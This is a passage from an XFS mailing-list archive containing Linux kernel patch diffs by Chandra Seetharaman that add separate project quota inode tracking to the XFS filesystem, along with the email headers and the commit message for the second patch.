(XFS_IS_PQUOTA_ON(ip->i_mount) && - xfs_get_projid(ip) != be32_to_cpu(gdqp->q_core.d_id)) - prjflags = XFS_QMOPT_ENOSPC; - - if (prjflags || - (XFS_IS_GQUOTA_ON(ip->i_mount) && - ip->i_d.di_gid != be32_to_cpu(gdqp->q_core.d_id))) { - gdq_delblks = gdqp; - if (delblks) { - ASSERT(ip->i_gdquot); - gdq_unres = ip->i_gdquot; - } + if (XFS_IS_GQUOTA_ON(ip->i_mount) && gdqp && + ip->i_d.di_gid != be32_to_cpu(gdqp->q_core.d_id)) { + gdq_delblks = gdqp; + if (delblks) { + ASSERT(ip->i_gdquot); + gdq_unres = ip->i_gdquot; + } + } + + if (XFS_IS_PQUOTA_ON(ip->i_mount) && pdqp && + xfs_get_projid(ip) != be32_to_cpu(pdqp->q_core.d_id)) { + prjflags = XFS_QMOPT_ENOSPC; + pdq_delblks = pdqp; + if (delblks) { + ASSERT(ip->i_pdquot); + pdq_unres = ip->i_pdquot; } } error = xfs_trans_reserve_quota_bydquots(tp, ip->i_mount, - udq_delblks, gdq_delblks, ip->i_d.di_nblocks, 1, + udq_delblks, gdq_delblks, pdq_delblks, + ip->i_d.di_nblocks, 1, flags | blkflags | prjflags); if (error) return error; @@ -1893,16 +1991,17 @@ xfs_qm_vop_chown_reserve( /* * Do the reservations first. Unreservation can't fail. */ - ASSERT(udq_delblks || gdq_delblks); - ASSERT(udq_unres || gdq_unres); + ASSERT(udq_delblks || gdq_delblks || pdq_delblks); + ASSERT(udq_unres || gdq_unres || pdq_unres); error = xfs_trans_reserve_quota_bydquots(NULL, ip->i_mount, - udq_delblks, gdq_delblks, (xfs_qcnt_t)delblks, 0, + udq_delblks, gdq_delblks, pdq_delblks, + (xfs_qcnt_t)delblks, 0, flags | blkflags | prjflags); if (error) return error; xfs_trans_reserve_quota_bydquots(NULL, ip->i_mount, - udq_unres, gdq_unres, -((xfs_qcnt_t)delblks), 0, - blkflags); + udq_unres, gdq_unres, pdq_unres, + -((xfs_qcnt_t)delblks), 0, blkflags); } return (0); @@ -1941,7 +2040,8 @@ xfs_qm_vop_create_dqattach( struct xfs_trans *tp, struct xfs_inode *ip, struct xfs_dquot *udqp, - struct xfs_dquot *gdqp) + struct xfs_dquot *gdqp, + struct xfs_dquot *pdqp) { struct xfs_mount *mp = tp->t_mountp; @@ -1961,13 +2061,18 @@ xfs_qm_vop_create_dqattach( } if (gdqp) { ASSERT(ip->i_gdquot == NULL); - ASSERT(XFS_IS_OQUOTA_ON(mp)); - ASSERT((XFS_IS_GQUOTA_ON(mp) ? - ip->i_d.di_gid : xfs_get_projid(ip)) == - be32_to_cpu(gdqp->q_core.d_id)); - + ASSERT(XFS_IS_GQUOTA_ON(mp)); + ASSERT(ip->i_d.di_gid == be32_to_cpu(gdqp->q_core.d_id)); ip->i_gdquot = xfs_qm_dqhold(gdqp); xfs_trans_mod_dquot(tp, gdqp, XFS_TRANS_DQ_ICOUNT, 1); } + if (pdqp) { + ASSERT(ip->i_pdquot == NULL); + ASSERT(XFS_IS_PQUOTA_ON(mp)); + ASSERT(xfs_get_projid(ip) == be32_to_cpu(pdqp->q_core.d_id)); + + ip->i_pdquot = xfs_qm_dqhold(pdqp); + xfs_trans_mod_dquot(tp, pdqp, XFS_TRANS_DQ_ICOUNT, 1); + } } diff --git a/fs/xfs/xfs_qm.h b/fs/xfs/xfs_qm.h index bdb4f8b..579d6a0 100644 --- a/fs/xfs/xfs_qm.h +++ b/fs/xfs/xfs_qm.h @@ -44,9 +44,11 @@ extern struct kmem_zone *xfs_qm_dqtrxzone; typedef struct xfs_quotainfo { struct radix_tree_root qi_uquota_tree; struct radix_tree_root qi_gquota_tree; + struct radix_tree_root qi_pquota_tree; struct mutex qi_tree_lock; - xfs_inode_t *qi_uquotaip; /* user quota inode */ - xfs_inode_t *qi_gquotaip; /* group quota inode */ + struct xfs_inode *qi_uquotaip; /* user quota inode */ + struct xfs_inode *qi_gquotaip; /* group quota inode */ + struct xfs_inode *qi_pquotaip; /* project quota inode */ struct list_head qi_lru_list; struct mutex qi_lru_lock; int qi_lru_count; @@ -78,8 +80,9 @@ xfs_dquot_tree( case XFS_DQ_USER: return &qi->qi_uquota_tree; case XFS_DQ_GROUP: - case XFS_DQ_PROJ: return &qi->qi_gquota_tree; + case XFS_DQ_PROJ: + return &qi->qi_pquota_tree; default: ASSERT(0); } @@ -93,8 +96,9 @@ xfs_dq_to_quota_inode(struct xfs_dquot *dqp) case XFS_DQ_USER: return dqp->q_mount->m_quotainfo->qi_uquotaip; case XFS_DQ_GROUP: - case XFS_DQ_PROJ: return dqp->q_mount->m_quotainfo->qi_gquotaip; + case XFS_DQ_PROJ: + return dqp->q_mount->m_quotainfo->qi_pquotaip; default: ASSERT(0); } @@ -107,18 +111,20 @@ extern void xfs_trans_mod_dquot(struct xfs_trans *, struct xfs_dquot *, uint, long); extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, struct xfs_mount *, struct xfs_dquot *, - struct xfs_dquot *, long, long, uint); + struct xfs_dquot *, struct xfs_dquot *, + long, long, uint); extern void xfs_trans_dqjoin(struct xfs_trans *, struct xfs_dquot *); extern void xfs_trans_log_dquot(struct xfs_trans *, struct xfs_dquot *); /* - * We keep the usr and grp dquots separately so that locking will be easier - * to do at commit time. All transactions that we know of at this point + * We keep the usr, grp, and prj dquots separately so that locking will be + * easier to do at commit time. All transactions that we know of at this point * affect no more than two dquots of one type. Hence, the TRANS_MAXDQS value. */ enum { XFS_QM_TRANS_USR = 0, XFS_QM_TRANS_GRP, + XFS_QM_TRANS_PRJ, XFS_QM_TRANS_DQTYPES }; #define XFS_QM_TRANS_MAXDQS 2 diff --git a/fs/xfs/xfs_qm_bhv.c b/fs/xfs/xfs_qm_bhv.c index 2d02eac..437a52d 100644 --- a/fs/xfs/xfs_qm_bhv.c +++ b/fs/xfs/xfs_qm_bhv.c @@ -112,16 +112,16 @@ xfs_qm_newmount( if (((uquotaondisk && !XFS_IS_UQUOTA_ON(mp)) || (!uquotaondisk && XFS_IS_UQUOTA_ON(mp)) || - (pquotaondisk && !XFS_IS_PQUOTA_ON(mp)) || - (!pquotaondisk && XFS_IS_PQUOTA_ON(mp)) || (gquotaondisk && !XFS_IS_GQUOTA_ON(mp)) || - (!gquotaondisk && XFS_IS_OQUOTA_ON(mp))) && + (!gquotaondisk && XFS_IS_GQUOTA_ON(mp)) || + (pquotaondisk && !XFS_IS_PQUOTA_ON(mp)) || + (!pquotaondisk && XFS_IS_PQUOTA_ON(mp))) && xfs_dev_is_read_only(mp, "changing quota state")) { xfs_warn(mp, "please mount with%s%s%s%s.", (!quotaondisk ? "out quota" : ""), (uquotaondisk ? " usrquota" : ""), - (pquotaondisk ? " prjquota" : ""), - (gquotaondisk ? " grpquota" : "")); + (gquotaondisk ? " grpquota" : ""), + (pquotaondisk ? " prjquota" : "")); return XFS_ERROR(EPERM); } diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 09a45af..e4f8b2d 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -119,7 +119,8 @@ xfs_qm_scall_quotaoff( dqtype |= XFS_QMOPT_GQUOTA; flags |= (XFS_GQUOTA_CHKD | XFS_GQUOTA_ENFD); inactivate_flags |= XFS_GQUOTA_ACTIVE; - } else if (flags & XFS_PQUOTA_ACCT) { + } + if (flags & XFS_PQUOTA_ACCT) { dqtype |= XFS_QMOPT_PQUOTA; flags |= (XFS_PQUOTA_CHKD | XFS_PQUOTA_ENFD); inactivate_flags |= XFS_PQUOTA_ACTIVE; @@ -213,10 +214,14 @@ xfs_qm_scall_quotaoff( IRELE(q->qi_uquotaip); q->qi_uquotaip = NULL; } - if ((dqtype & (XFS_QMOPT_GQUOTA|XFS_QMOPT_PQUOTA)) && q->qi_gquotaip) { + if ((dqtype & XFS_QMOPT_GQUOTA) && q->qi_gquotaip) { IRELE(q->qi_gquotaip); q->qi_gquotaip = NULL; } + if ((dqtype & XFS_QMOPT_PQUOTA) && q->qi_pquotaip) { + IRELE(q->qi_pquotaip); + q->qi_pquotaip = NULL; + } out_unlock: mutex_unlock(&q->qi_quotaofflock); @@ -858,9 +863,11 @@ xfs_dqrele_inode( { /* skip quota inodes */ if (ip == ip->i_mount->m_quotainfo->qi_uquotaip || - ip == ip->i_mount->m_quotainfo->qi_gquotaip) { + ip == ip->i_mount->m_quotainfo->qi_gquotaip || + ip == ip->i_mount->m_quotainfo->qi_pquotaip) { ASSERT(ip->i_udquot == NULL); ASSERT(ip->i_gdquot == NULL); + ASSERT(ip->i_pdquot == NULL); return 0; } @@ -869,10 +876,14 @@ xfs_dqrele_inode( xfs_qm_dqrele(ip->i_udquot); ip->i_udquot = NULL; } - if (flags & (XFS_PQUOTA_ACCT|XFS_GQUOTA_ACCT) && ip->i_gdquot) { + if ((flags & XFS_GQUOTA_ACCT) && ip->i_gdquot) { xfs_qm_dqrele(ip->i_gdquot); ip->i_gdquot = NULL; } + if ((flags & XFS_PQUOTA_ACCT) && ip->i_pdquot) { + xfs_qm_dqrele(ip->i_pdquot); + ip->i_pdquot = NULL; + } xfs_iunlock(ip, XFS_ILOCK_EXCL); return 0; } diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index 69e3edf..b14f42c 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -288,10 +288,10 @@ typedef struct xfs_qoff_logformat { * we didn't have the inode locked, the appropriate dquot(s) will be * attached atomically. */ -#define XFS_NOT_DQATTACHED(mp, ip) ((XFS_IS_UQUOTA_ON(mp) &&\ - (ip)->i_udquot == NULL) || \ - (XFS_IS_OQUOTA_ON(mp) && \ - (ip)->i_gdquot == NULL)) +#define XFS_NOT_DQATTACHED(mp, ip) \ + ((XFS_IS_UQUOTA_ON(mp) && (ip)->i_udquot == NULL) || \ + (XFS_IS_GQUOTA_ON(mp) && (ip)->i_gdquot == NULL) || \ + (XFS_IS_PQUOTA_ON(mp) && (ip)->i_pdquot == NULL)) #define XFS_QM_NEED_QUOTACHECK(mp) \ ((XFS_IS_UQUOTA_ON(mp) && \ @@ -338,17 +338,18 @@ extern int xfs_trans_reserve_quota_nblks(struct xfs_trans *, struct xfs_inode *, long, long, uint); extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, struct xfs_mount *, struct xfs_dquot *, - struct xfs_dquot *, long, long, uint); + struct xfs_dquot *, struct xfs_dquot *, long, long, uint); extern int xfs_qm_vop_dqalloc(struct xfs_inode *, uid_t, gid_t, prid_t, uint, - struct xfs_dquot **, struct xfs_dquot **); + struct xfs_dquot **, struct xfs_dquot **, struct xfs_dquot **); extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, - struct xfs_dquot *, struct xfs_dquot *); + struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *); extern int xfs_qm_vop_rename_dqattach(struct xfs_inode **); extern struct xfs_dquot *xfs_qm_vop_chown(struct xfs_trans *, struct xfs_inode *, struct xfs_dquot **, struct xfs_dquot *); extern int xfs_qm_vop_chown_reserve(struct xfs_trans *, struct xfs_inode *, - struct xfs_dquot *, struct xfs_dquot *, uint); + struct xfs_dquot *, struct xfs_dquot *, + struct xfs_dquot *, uint); extern int xfs_qm_dqattach(struct xfs_inode *, uint); extern int xfs_qm_dqattach_locked(struct xfs_inode *, uint); extern void xfs_qm_dqdetach(struct xfs_inode *); @@ -362,10 +363,12 @@ extern void xfs_qm_unmount_quotas(struct xfs_mount *); #else static inline int xfs_qm_vop_dqalloc(struct xfs_inode *ip, uid_t uid, gid_t gid, prid_t prid, - uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp) + uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp, + struct xfs_dquot **pdqp) { *udqp = NULL; *gdqp = NULL; + *pdqp = NULL; return 0; } #define xfs_trans_dup_dqinfo(tp, tp2) @@ -380,14 +383,15 @@ static inline int xfs_trans_reserve_quota_nblks(struct xfs_trans *tp, } static inline int xfs_trans_reserve_quota_bydquots(struct xfs_trans *tp, struct xfs_mount *mp, struct xfs_dquot *udqp, - struct xfs_dquot *gdqp, long nblks, long nions, uint flags) + struct xfs_dquot *gdqp, struct xfs_dquot *pdqp, + long nblks, long nions, uint flags) { return 0; } -#define xfs_qm_vop_create_dqattach(tp, ip, u, g) +#define xfs_qm_vop_create_dqattach(tp, ip, u, g, p) #define xfs_qm_vop_rename_dqattach(it) (0) #define xfs_qm_vop_chown(tp, ip, old, new) (NULL) -#define xfs_qm_vop_chown_reserve(tp, ip, u, g, fl) (0) +#define xfs_qm_vop_chown_reserve(tp, ip, u, g, p, fl) (0) #define xfs_qm_dqattach(ip, fl) (0) #define xfs_qm_dqattach_locked(ip, fl) (0) #define xfs_qm_dqdetach(ip) @@ -401,8 +405,8 @@ static inline int xfs_trans_reserve_quota_bydquots(struct xfs_trans *tp, #define xfs_trans_unreserve_quota_nblks(tp, ip, nblks, ninos, flags) \ xfs_trans_reserve_quota_nblks(tp, ip, -(nblks), -(ninos), flags) -#define xfs_trans_reserve_quota(tp, mp, ud, gd, nb, ni, f) \ - xfs_trans_reserve_quota_bydquots(tp, mp, ud, gd, nb, ni, \ +#define xfs_trans_reserve_quota(tp, mp, ud, gd, pd, nb, ni, f) \ + xfs_trans_reserve_quota_bydquots(tp, mp, ud, gd, pd, nb, ni, \ f | XFS_QMOPT_RES_REGBLKS) extern int xfs_qm_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index e830fb5..f4895b6 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -360,6 +360,7 @@ xfs_symlink( prid_t prid; struct xfs_dquot *udqp = NULL; struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; uint resblks; *ipp = NULL; @@ -386,7 +387,7 @@ xfs_symlink( * Make sure that we have allocated dquot(s) on disk. */ error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp); + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); if (error) goto std_return; @@ -427,7 +428,8 @@ xfs_symlink( /* * Reserve disk quota : blocks and inode. */ - error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, resblks, 1, 0); + error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, + pdqp, resblks, 1, 0); if (error) goto error_return; @@ -465,7 +467,7 @@ xfs_symlink( /* * Also attach the dquot(s) to it, if applicable. */ - xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp); + xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); if (resblks) resblks -= XFS_IALLOC_SPACE_RES(mp); @@ -563,6 +565,7 @@ xfs_symlink( error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); xfs_qm_dqrele(udqp); xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); *ipp = ip; return 0; @@ -576,6 +579,7 @@ xfs_symlink( xfs_trans_cancel(tp, cancel_flags); xfs_qm_dqrele(udqp); xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); if (unlock_dp_on_error) xfs_iunlock(dp, XFS_ILOCK_EXCL); diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c index db041a5..61407a8 100644 --- a/fs/xfs/xfs_trans_dquot.c +++ b/fs/xfs/xfs_trans_dquot.c @@ -163,8 +163,10 @@ xfs_trans_mod_dquot_byino( if (XFS_IS_UQUOTA_ON(mp) && ip->i_udquot) (void) xfs_trans_mod_dquot(tp, ip->i_udquot, field, delta); - if (XFS_IS_OQUOTA_ON(mp) && ip->i_gdquot) + if (XFS_IS_GQUOTA_ON(mp) && ip->i_gdquot) (void) xfs_trans_mod_dquot(tp, ip->i_gdquot, field, delta); + if (XFS_IS_PQUOTA_ON(mp) && ip->i_pdquot) + (void) xfs_trans_mod_dquot(tp, ip->i_pdquot, field, delta); } STATIC struct xfs_dqtrx * @@ -177,8 +179,12 @@ xfs_trans_get_dqtrx( if (XFS_QM_ISUDQ(dqp)) qa = tp->t_dqinfo->dqs[XFS_QM_TRANS_USR]; - else + else if (XFS_QM_ISGDQ(dqp)) qa = tp->t_dqinfo->dqs[XFS_QM_TRANS_GRP]; + else if (XFS_QM_ISPDQ(dqp)) + qa = tp->t_dqinfo->dqs[XFS_QM_TRANS_PRJ]; + else + return NULL; for (i = 0; i < XFS_QM_TRANS_MAXDQS; i++) { if (qa[i].qt_dquot == NULL || @@ -727,8 +733,8 @@ error_return: /* * Given dquot(s), make disk block and/or inode reservations against them. - * The fact that this does the reservation against both the usr and - * grp/prj quotas is important, because this follows a both-or-nothing + * The fact that this does the reservation against user, group and + * project quotas is important, because this follows a all-or-nothing * approach. * * flags = XFS_QMOPT_FORCE_RES evades limit enforcement. Used by chown. @@ -743,6 +749,7 @@ xfs_trans_reserve_quota_bydquots( struct xfs_mount *mp, struct xfs_dquot *udqp, struct xfs_dquot *gdqp, + struct xfs_dquot *pdqp, long nblks, long ninos, uint flags) @@ -770,11 +777,21 @@ xfs_trans_reserve_quota_bydquots( goto unwind_usr; } + if (pdqp) { + error = xfs_trans_dqresv(tp, mp, pdqp, nblks, ninos, flags); + if (error) + goto unwind_grp; + } + /* * Didn't change anything critical, so, no need to log */ return 0; +unwind_grp: + flags |= XFS_QMOPT_FORCE_RES; + if (gdqp) + xfs_trans_dqresv(tp, mp, gdqp, -nblks, -ninos, flags); unwind_usr: flags |= XFS_QMOPT_FORCE_RES; if (udqp) @@ -816,6 +833,7 @@ xfs_trans_reserve_quota_nblks( */ return xfs_trans_reserve_quota_bydquots(tp, mp, ip->i_udquot, ip->i_gdquot, + ip->i_pdquot, nblks, ninos, flags); } diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index 42c0ef2..dc730ac 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -489,6 +489,7 @@ xfs_create( prid_t prid; struct xfs_dquot *udqp = NULL; struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; uint resblks; uint log_res; uint log_count; @@ -507,7 +508,8 @@ xfs_create( * Make sure that we have allocated dquot(s) on disk. */ error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp); + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) return error; @@ -559,7 +561,8 @@ xfs_create( /* * Reserve disk quota and the inode. */ - error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, resblks, 1, 0); + error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, + pdqp, resblks, 1, 0); if (error) goto out_trans_cancel; @@ -623,7 +626,7 @@ xfs_create( * These ids of the inode couldn't have changed since the new * inode has been locked ever since it was created. */ - xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp); + xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); error = xfs_bmap_finish(&tp, &free_list, &committed); if (error) @@ -635,6 +638,7 @@ xfs_create( xfs_qm_dqrele(udqp); xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); *ipp = ip; return 0; @@ -656,6 +660,7 @@ xfs_create( xfs_qm_dqrele(udqp); xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); if (unlock_dp_on_error) xfs_iunlock(dp, XFS_ILOCK_EXCL); @@ -1568,7 +1573,7 @@ xfs_free_file_space( } xfs_ilock(ip, XFS_ILOCK_EXCL); error = xfs_trans_reserve_quota(tp, mp, - ip->i_udquot, ip->i_gdquot, + ip->i_udquot, ip->i_gdquot, ip->i_pdquot, resblks, 0, XFS_QMOPT_RES_REGBLKS); if (error) goto error1; -- 1.7.1 From sekharan@us.ibm.com Thu Jul 11 00:01:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3C1087F62 for ; Thu, 11 Jul 2013 00:01:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8E61AC002 for ; Wed, 10 Jul 2013 22:01:00 -0700 (PDT) X-ASG-Debug-ID: 1373518859-04bdf02b8ebc0c00001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id VUDZzhIPNX3NgFCA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 22:00:59 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 23:00:58 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 23:00:57 -0600 Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id F319119D804E for ; Wed, 10 Jul 2013 23:00:45 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6B50uU1125862 for ; Wed, 10 Jul 2013 23:00:56 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6B50tB2005470 for ; Wed, 10 Jul 2013 23:00:55 -0600 Received: from chandra-dt.austin.ibm.com (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6B50l7Q004066; Wed, 10 Jul 2013 23:00:55 -0600 From: Chandra Seetharaman To: xfs@oss.sgi.com Cc: Chandra Seetharaman Subject: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. Date: Thu, 11 Jul 2013 00:00:41 -0500 X-ASG-Orig-Subj: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. Message-Id: <1373518843-1492-3-git-send-email-sekharan@us.ibm.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071105-7408-0000-0000-000011EA8E99 X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1373518859 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com Start using pquotino and define a macro to check if the superblock has pquotino. Keep backward compatibilty by alowing mount of older superblock with no separate pquota inode. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_mount.c | 62 ++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_qm.c | 28 +++++++++-------- fs/xfs/xfs_qm_syscalls.c | 21 +++++++++++++- fs/xfs/xfs_sb.h | 9 +++++- fs/xfs/xfs_super.c | 19 ++++++------ include/uapi/linux/dqblk_xfs.h | 1 + 6 files changed, 108 insertions(+), 32 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 2b0ba35..b8a633b 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -336,12 +336,17 @@ xfs_mount_validate_sb( return XFS_ERROR(EWRONGFS); } - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { - xfs_notice(mp, -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); - return XFS_ERROR(EFSCORRUPTED); + if (xfs_sb_version_has_pquota(sbp)) { + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { + xfs_notice(mp, + "Version 5 of Super block has XFS_OQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { + xfs_notice(mp, +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); + return XFS_ERROR(EFSCORRUPTED); } /* @@ -570,8 +575,13 @@ out_unwind: } static void -xfs_sb_quota_from_disk(struct xfs_sb *sbp) +xfs_sb_quota_from_disk(struct xfs_mount *mp) { + struct xfs_sb *sbp = &mp->m_sb; + + if (xfs_sb_version_has_pquota(sbp)) + return; + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; @@ -579,6 +589,18 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); + + if (!xfs_sb_version_has_pquota(sbp) && (XFS_IS_PQUOTA_ON(mp))) { + /* + * On disk superblock only has sb_gquotino, and incore + * superblock has both sb_gquotino and sb_pquotino. + * But, only one them is supported at any point of time. + * So, if PQUOTA is set in disk superblock, copy over + * sb_gquotino to sb_pquotino. + */ + mp->m_sb.sb_pquotino = mp->m_sb.sb_gquotino; + mp->m_sb.sb_gquotino = NULLFSINO; + } } void @@ -650,6 +672,13 @@ xfs_sb_quota_to_disk( { __uint16_t qflags = from->sb_qflags; + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquota(from)) + return; + if (*fields & XFS_SB_QFLAGS) { /* * The in-core version of sb_qflags do not have @@ -669,6 +698,23 @@ xfs_sb_quota_to_disk( to->sb_qflags = cpu_to_be16(qflags); *fields &= ~XFS_SB_QFLAGS; } + + if (*fields & XFS_SB_PQUOTINO && *fields & XFS_SB_GQUOTINO) { + /* + * PQUOTINO and GQUOTINO cannot be used together in versions + * of superblock that do not have pquotino. If used, use + * sb_flags to resolve which one should be set. + */ + if (from->sb_qflags & XFS_PQUOTA_ACCT) + *fields &= ~XFS_SB_GQUOTINO; + else + *fields &= ~XFS_SB_PQUOTINO; + } + + if (*fields & XFS_SB_PQUOTINO) { + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); + *fields &= ~XFS_SB_PQUOTINO; + } } /* @@ -885,7 +931,7 @@ reread: */ xfs_sb_from_disk(&mp->m_sb, XFS_BUF_TO_SBP(bp)); - xfs_sb_quota_from_disk(&mp->m_sb); + xfs_sb_quota_from_disk(mp); /* * We must be able to do sector-sized and sector-aligned IO. */ diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index d320794..ba12dc4 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -860,21 +860,24 @@ xfs_qm_qino_alloc( if (flags & XFS_QMOPT_SBVERSION) { ASSERT(!xfs_sb_version_hasquota(&mp->m_sb)); ASSERT((sbfields & (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)) == - (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)); + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)) == + (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)); xfs_sb_version_addquota(&mp->m_sb); mp->m_sb.sb_uquotino = NULLFSINO; mp->m_sb.sb_gquotino = NULLFSINO; + mp->m_sb.sb_pquotino = NULLFSINO; - /* qflags will get updated _after_ quotacheck */ - mp->m_sb.sb_qflags = 0; + /* qflags will get updated fully _after_ quotacheck */ + mp->m_sb.sb_qflags = mp->m_qflags & XFS_ALL_QUOTA_ACCT; } if (flags & XFS_QMOPT_UQUOTA) mp->m_sb.sb_uquotino = (*ip)->i_ino; - else + else if (flags & 